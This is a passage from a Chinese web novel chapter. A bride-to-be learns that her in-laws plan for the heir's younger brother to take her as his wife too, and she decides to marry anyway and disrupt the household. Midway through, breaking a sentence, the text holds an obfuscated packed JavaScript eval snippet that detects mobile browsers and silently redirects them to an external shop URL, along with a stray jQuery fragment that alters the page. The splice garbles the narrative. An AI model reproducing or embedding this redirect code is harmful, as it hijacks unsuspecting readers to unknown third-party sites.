那小厮平日里应该也是个嘴皮子溜的人,没少跟人闲扯,讲起话来,表情生动,眉飞色舞,双手也跟着比划。
“好吧好吧,瞧你们急得样儿,我就不跟你们绕弯子了。这林捕快昨儿在揽月楼听琴的房里抓住了李秀才,西郊的张猎户就是他杀的!”
“什么?他一个秀才,平日里看着肩不能挑,手不能拿的,他能杀人?”
“反正林捕快就是这么说的,在他家的鸡窝里找到了凶器,就是一把砍刀。林捕快觉得他可能有同伙,所以才把他最近接触的人都盘查了一遍。”
“那他为啥杀人啊?”
“见钱眼开呗,前些日子,张猎户打了一头熊瞎子,说是卖了个好价。他俩平日里就称兄道弟的,谁能想到出这事啊,这李秀才真是看不出来。这还没完呢,结果你们猜怎么着,今天早晨听说他死在牢里了,自己拿着裤腰带这样儿的。”
那小厮边说边比划勒自己脖子。
“啧啧,要我说,京城最近有点不大对头,这都死了多少人了?那刘府灭门案,到现在还没线索。我家老爷这两天忙得焦头烂额的。”
这些话题聊完了就扔,他们话锋一转,就讲到了平阳侯府苏家。
“我还听到一个事儿,这事儿就出在平阳侯府。”
“听说苏世子一直睡着呢,不过要娶亲了?”
“嗐,这不是冲喜么?要说陆家那位表姑娘,咱们很少见,但我看见过一次,柔柔弱弱,动不动就红眼睛哭鼻子,嫁到苏家,还不知道她怎么着呢。”
“怎么的?就算苏世子没了,苏家也不能让姜姑娘陪葬吧?早就没这规矩了。”
“那倒不是。苏家有个混世魔王二公子,大家知道吧?我可是听说,这位公子早就看上了未来嫂嫂了,而且苏家内部已经商议过了,等姜姑娘一过门,就让二公子兼祧两房!”
“我的老娘啊!还有这事?为啥呀?那二公子模样俊得很,家世又好。我们家夫人还托人去说过两次媒,想让我们四姑娘嫁进去,可惜都被拒绝了。听说天天有人上门说媒,他全都看不上,合着是看上嫂子了?这事保真吗?”
“那还有假?我嫂子二姨家表哥的女儿就在苏家当丫鬟,说是二公子都闹了两三年了,苏家怕传出去对名声不好,一直捂着不说,想着等他多长几岁就想开了。这回苏世子眼看快不行了,二公子又说什么都不娶别人,万一他也闹出什么毛病,苏家不就绝后了吗?他们就想着一箭双雕,一是为了冲喜,二是冲喜不成功就让二公子兼祧两房。”
翠桃和秋桂在后面偷偷听着,死死抓住对方的手,震惊得说不出话来。
翠桃抹着眼泪,悄悄道:“苏家人太不是东西了,怎么能这么糟践人?我们姑娘就算是个孤女,从小到大在陆家也没受过委屈。现在到了他们眼里成了什么人了?”
她跟姜芷荞一起长大,情同姐妹,怎会不了解她的性子。
姜芷荞本就对婚姻之事不感兴趣,陆家对她有养育之恩,她不想给陆家招来风言风语,况且苏世子人也挺好,她才勉强同意了的。
可那个苏二公子是个混世魔王,翠桃知道姑娘根本不喜欢她,甚至还很厌烦。
一想到她好好照顾到大的姑娘,嫁去给人欺负,她就心疼的掉眼泪。
秋桂也跟着着急:“这可怎么办?明儿一早就要送亲了。”
翠桃哪里还顾得上吃饭,放下碗筷就跑到殿外,看着里面,眼巴巴地等姜芷荞出来。
秋桂忙跟着,安慰道:“你别急,荞姑娘是个有主意的,不像咱们,她肯定能想到对策。”
马车里。
姜芷荞震惊地瞪大双眼,手里的茶杯掉在地上。
“什么?兼祧两房?苏二?”
这是她从来没有想过的可能。
她浑身打了个哆嗦,终于明白苏奕锦给她那种不舒服的感觉是什么了。
本以为苏奕锦被宠得无法无天,所以做事没有分寸,原来根本不是这样。
那是一种试探性的靠近,是企图打破安全距离的试探!
翠桃又忍不住哭了:“姑娘,这可怎么办啊?要不然您现在就逃吧,我们回去就说您丢了。”
姜芷荞震惊过后,迅速冷静下来。
“你别哭,别把颖宁吵醒了,我好好想想。”
陆颖宁上车后就睡着了,睡得正香。
姜芷荞这几天经历过太多事情,别人的心情可能是跌宕起伏,她的心情只有跌跌伏伏。
这个消息只是让她震惊了一下,但不至于让她慌乱。
按照苏二的性子,苏家人确实拿他没招,所以依着他胡闹。
姜芷荞也放弃跟他谈判,她根本说服不了这个魔王。
说的好听,还兼祧两房,不就是为了传宗接代么?
如果苏二没有那个能力了呢?
姜芷荞眯了眯眼睛,干脆一不做二不休?
翠桃二人见她想得入神,一路上不敢打扰。
快到陆家门口,姜芷荞嘱咐道:“这件事,你们别说出去,最重要的是别让外祖母他们知道,明白吗?”
他们只是听说冲喜就要退婚,如果知道这件事,他们是绝不会让她上花轿的。
平阳侯府是皇亲国戚,陆家只是普通官员,权利地位不对等,硬碰硬只会是陆家遭殃。
翠桃泪眼汪汪:“可是您怎么办?你还要嫁吗?”
姜芷荞表情凝重,点点头道:“嫁,当然嫁。”
按照现世普遍的说法,只要她上了花轿,拜了堂,以后她就是名正言顺的苏家媳妇,而不是陆家的待嫁女。
她倒要看看,凭她一己之力,能不能把这苏家搅得鸡犬不宁。
不让她好过,大家就都别过了!
陆颖宁睡了一路,到了家门口,终于睡醒了。
她揉了揉眼睛,看到翠桃一脸泪痕,问道:“翠桃你怎么了?表姐爱掉眼泪的毛病传染你啦?是不是一路上听表姐说宫宴上有很多好吃的,把你馋哭了?”
她打开食盒,从里面拿出两块芸豆卷,塞到她手里一块,也给了秋桂一块。
“吃吧,吃吧,都尝尝,这可是我亲自品鉴过的,御膳房最好吃的一款糕点。”
翠桃眼里滚着泪:“多谢三姑娘赏。”
陆颖宁摆摆手:“你看看你,一块糕点而已,感动成这个样子。明日表姐大婚,咱们大吃特吃!”
翠桃的眼泪掉得更凶了,但是不敢哭出声来,使劲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944728|213980||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
抹眼泪。
马车停了。
姜芷荞道:“大家赶紧进去吧。”
两姐妹回了府,先给长辈们请安。
陆老夫人见她们平安到家,终于长舒一口气。
“回来了,回来就好。”
陆老爷子拿出一个锦盒,递给姜芷荞:“这是你爹娘留给你的东西,说是等你出嫁时再给你。明天你就要上花轿了,这个东西也该物归原主了。”
姜芷荞接过锦盒,里面有一对玉镯,还有一个钥匙。
陆老爷子道:“除了我们给你准备的嫁妆,还有你哥嫂、姐姐姐夫给你准备的添妆,这里还有你母亲的嫁妆,包括你父母那些年攒的家底。我们一直给你保管,一点没动。搬来是什么样,现在还是什么样。在你外祖母的私库里,我叫人给你搬出来。”
“先不急。”姜芷荞道,“外祖父,我暂时用不上,先那么放着吧。”
她现在不想带到苏家,被人抢去怎么办?除非她以后能把苏家掌握在手里。
陆老爷子叹气:“也行,反正你只是嫁人,又不是再也不回来了。”
姜芷荞点点头:“嗯,就是呢。”
她环顾四周,看到所有亲人都在,大家都注视着她,眼里带着不舍和担忧。
难道他们都知道了?
陆老夫人叹气:“都是我老婆子不好,非要做主给你找什么婆家,现在你要去给人家冲喜,真是苦了你!”
陆老爷子安慰道:“你也是好心,谁能想到事情变成这个样子。”
姜芷荞松了口气,看来他们还不知道那件事。
“气氛不要这么沉重嘛!”她笑道,“外祖母,芷荞不怪您。从小到大,你们大家都很宠我,我很感激你们,我不会忘记这份恩情的。”
三位舅舅和三位舅母,三位表哥,两位表嫂,两位表姐,两位表姐夫,都齐刷刷地看着她,想说点什么,又不知道怎么开口,一脸愁容。
只有五个娃娃,不知发生何事,只知道明日有喜糖,期盼地鼓掌。
陆颖宁笑着说:“明天是表姐出嫁的日子,虽然说是冲喜,但是我觉得苏世子肯定能好起来。你们别担心嘛,万一有奇迹发生呢?今日太后可喜欢表姐了,还说她的福气在后面呢,我觉得也是。表姐得了太后的赏赐,皇帝还封她为县主。你们干嘛这么悲观嘛,你们不相信表姐有能力把日子过好吗?反正我相信,什么都难不倒她!”
姜芷荞哈哈大笑:“没错!”
大家聊了一会,就催着她赶紧回去休息,明日很早就要起来梳妆,一整天都会很累。
姜芷荞和翠桃回到自己的小院。
翠桃一直闷闷不乐,可她也想不到什么好办法,又不敢烦姜芷荞。
“姑娘,还吃饺子么?”
姜芷荞真饿了,道:“吃啊!早上说好的。”
“那我给您煮去。二十个够不够?”翠桃问道。
姜芷荞道:“你为了我的事情也没吃好吧,煮五十个吧,咱俩一起吃。”
翠桃点点头,便去小厨房了。
吃完饺子,两人一起收拾完就回自己屋休息。
姜芷荞哪里睡得着,她得琢磨琢磨,进了苏家以后怎么保护自己。